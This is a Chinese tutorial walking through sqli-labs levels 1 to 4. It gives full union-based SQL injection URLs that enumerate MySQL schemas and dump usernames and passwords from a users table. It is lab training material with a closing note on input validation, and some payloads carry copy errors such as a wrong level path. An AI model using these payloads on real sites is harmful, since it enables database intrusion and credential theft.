Less-1:作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
一.知识补充及准备注意:此文章Less1重点讲解注入思路和流程,所以有大量不必要流程,如果掌握熟练可以从Less2开始学习!!!!!!
**系统函数**
select system_user() //显示系统用户
select user() //显示登陆用户名
select database() //使用的数据库
select version() //显示MYSQL版本
select @@datadir //显示MYSQL安装路径
select @@version_compile_os //显示 *** 作系统
**一般常见的代码**
SELECT * FROM 表名; //查询表的所有内容
LIMIT 0,1 //从第一行(0)开始,显示一行(1)
information_schema //MySQL自带的数据库,用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等
information_schema.schemata //存放记录数据库类型的表
schema_name //存放所有数据库名的列
group_concat() //用于将一组中的数据拼起来即行转列,类似与oracle的wmsys.wm_concat()函数
**一般常见的测试语句**
--+可以用#替换,url 提交过程中 Url 编码后的#为%23
or 1=1 --+
'or 1=1 --+
"or 1=1 --+
)or 1=1 --+
')or 1=1 --+
") or 1=1 --+
"))or 1=1 --+
为了能够在注入时方便对sql语句进行判断,在less1文件里的index.php添加下面两句代码。
echo $sql;
echo "
"
;
演示:
翻译:获取-基于错误-单引号-字符串
- 首先根据首页可以知道Less1是个字符型注入,并告诉你输入ID作为带数值的参数。
- 所以在url后面添加/?id=1进行测试,发现交互方式为GET型
- 在后面添加常见的测试语句,/?id=1 / ?id=1’ /?id=1" …, 添加到url中,发现 /?id=1’ 报错,说明是字符型注入(且是单引号注入),将报错信息进行翻译:“您的SQL语法有错误;查看与MySQL服务器版本对应的手册,以了解第1行中接近“1”限制0,1的正确语法”,同时我们也可以从显示的sql语句中也能够看出多了一个单引号。
注意:为什么只有单引号会报错,因为在Mysql查询中select * from users where id=‘1’’ limit 0,1 有一个单引号没有闭合而报错,而在select * from users where id=‘1)@(’ limit 0,1 中虽然多了)@(,但mysql查询时会把单引号里面的按第一个整形1进行执行且这两个单引号又闭合了,所以查询时不会报错,这里也翻译了$id不够严谨问题。
- 既然多了一个单引号那么怎么把后面的单引号注释掉呢?尝试 'or 1=1 --+或 'and 1=1 --+ 对后面的语句进行注释,注释后语句就成为:SELECT * FROM users WHERE id=‘1’ or 1=1 - - ’ LIMIT 0,1 或 SELECT * FROM users WHERE id=‘1’ and 1=1 - - ’ LIMIT 0,1。这里or和and不在解释可以点击MySQL逻辑运算符进行了解。
- 获取数据库有多少列
order by 是对表里的列进行排序,为1时说明对第一列进行排序,为4时说明对第四列进行排序,这里为4时报错,说明没用第四列,只有三列。
union联合查询用于合并两个或多个 SELECT 语句的结果集。
**判断多少列**
/Less-1/?id=1' order by 1 --+
...........
/Less-1/?id=1' order by 4 --+ //进行判断多少列
**显示对应列**
/Less-1/?id=-1' union select 1,2,3 --+ //id=-1是为了让它报错,id=-1是不存
在的所以name和Password:会显示,不然还显示原来的信息。
这里我们发现第2和3可以有回馈显示,接下来只需要让他在2和3列上进行显示回馈。
- 爆数据库名
/Less-1/?id=-1' union select 1,3,database() --+ //可以发现是security数据库
**查询所有数据库**
/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1 --+ //这里limit 0,1 表示显示第一个数据库名显示一行
..............................................
/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 9,1 --+ //以此类推显示第九个数据库名显示一行
此方法只能适合少量的数据库,如果有大量的数据库不利于查询,所有可以使用下面这条命令,一次性显示所有。
/Less-1/?id=-1' union select 1, 2,group_concat(schema_name) from information_schema.schemata --+
演示:
- 爆数据库表
查询数据库为information_schema.tables,且列(table_schema)为security的所有表
/Less-1/?id=-1' union select 1, 2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
3. 爆数据库字段
**显示出表为users的所有列**
/Less-1/?id=-1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_name='users' --+
/Less-1/?id=-1' union select 1, 2,password from security.users limit 0,1 --+ //取密码
/Less-1/?id=-1' union select 1, 2,username from security.users limit 0,1 --+ //取用户名
........................................
/Less-1/?id=-1' union select 1, 2,password from security.users limit 5,1 --+
/Less-1/?id=-1' union select 1, 2,username from security.users limit 5,1 --+
**一个一个取有点慢**
/Less-1/?id=-1' union select 1, 2,group_concat(users) from security.users --+ //所有用户名
/Less-1/?id=-1' union select 1, 2,group_concat(password) from security.users --+ //所有密码
**不够更直观的显示,所以下面的可更直观显示**
/Less-1/?id=-1' union select 1, 2,group_concat(concat_ws('~',username,password)) from security.users --+ //让用户名和密码以~形式显示出来。
到这第一关就结束了!!!!!
Less-2:**经过第一关的流程,第二关与第一关及其相似,所以这里直接爆破**
第二关是数字型不需要加任何东西
/Less-2/?id=1 order by 3 --+ //进行判断多少列
/Less-2/?id=-1 union select 1,2,3 --+ //显示显示位
/Less-2/?id=-1 union select 1,2,database() --+ //查看所在的数据库名
/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+ //查询有哪些数据库
/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ //查询数据库里有哪些表
/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ //查询users表里有哪些列
/Less-2/?id=-1 union select 1, 2,group_concat(concat_ws('~',username,password)) from security.users --+ //以~把用户名密码显示出来
Less-3:
**经过第一关的流程,第三关与第一关及其相似,所以这里直接爆破**
第三关是字符型,经过常见的测试语句发现是')
/Less-2/?id=1') order by 3 --+ //进行判断多少列
/Less-2/?id=-1') union select 1,2,3 --+ //显示显示位
/Less-2/?id=-1') union select 1,2,database() --+ //查看所在的数据库名
/Less-2/?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+ //查询有哪些数据库
/Less-2/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ //查询数据库里有哪些表
/Less-2/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ //查询users表里有哪些列
/Less-2/?id=-1') union select 1, 2,group_concat(concat_ws('~',username,password)) from security.users --+ //以~把用户名密码显示出来
Less-4:
**经过第一关的流程,第四关与第一关及其相似,所以这里直接爆破**
第四关是字符型,经过常见的测试语句发现是")
/Less-2/?id=1") order by 3 --+ //进行判断多少列
/Less-2/?id=-1") union select 1,2,3 --+ //显示显示位
/Less-2/?id=-1") union select 1,2,database() --+ //查看所在的数据库名
/Less-2/?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+ //查询有哪些数据库
/Less-2/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ //查询数据库里有哪些表
/Less-2/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ //查询users表里有哪些列
/Less-2/?id=-1") union select 1, 2,group_concat(concat_ws('~',username,password)) from security.users --+ //以~把用户名密码显示出来
总结:
这四关方法都一样,都是使用闭合符,只是各自的闭合符不通,只要找到各自的闭合符,就能够实现数据库爆破,通过这四个题我们发现用户在输入id时没用按照要求输入整形,所以导致了SQL注入攻击,如果给$id进行限制,使用户输入规定了范围,这样可以一定程度减少了被注入的风险。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)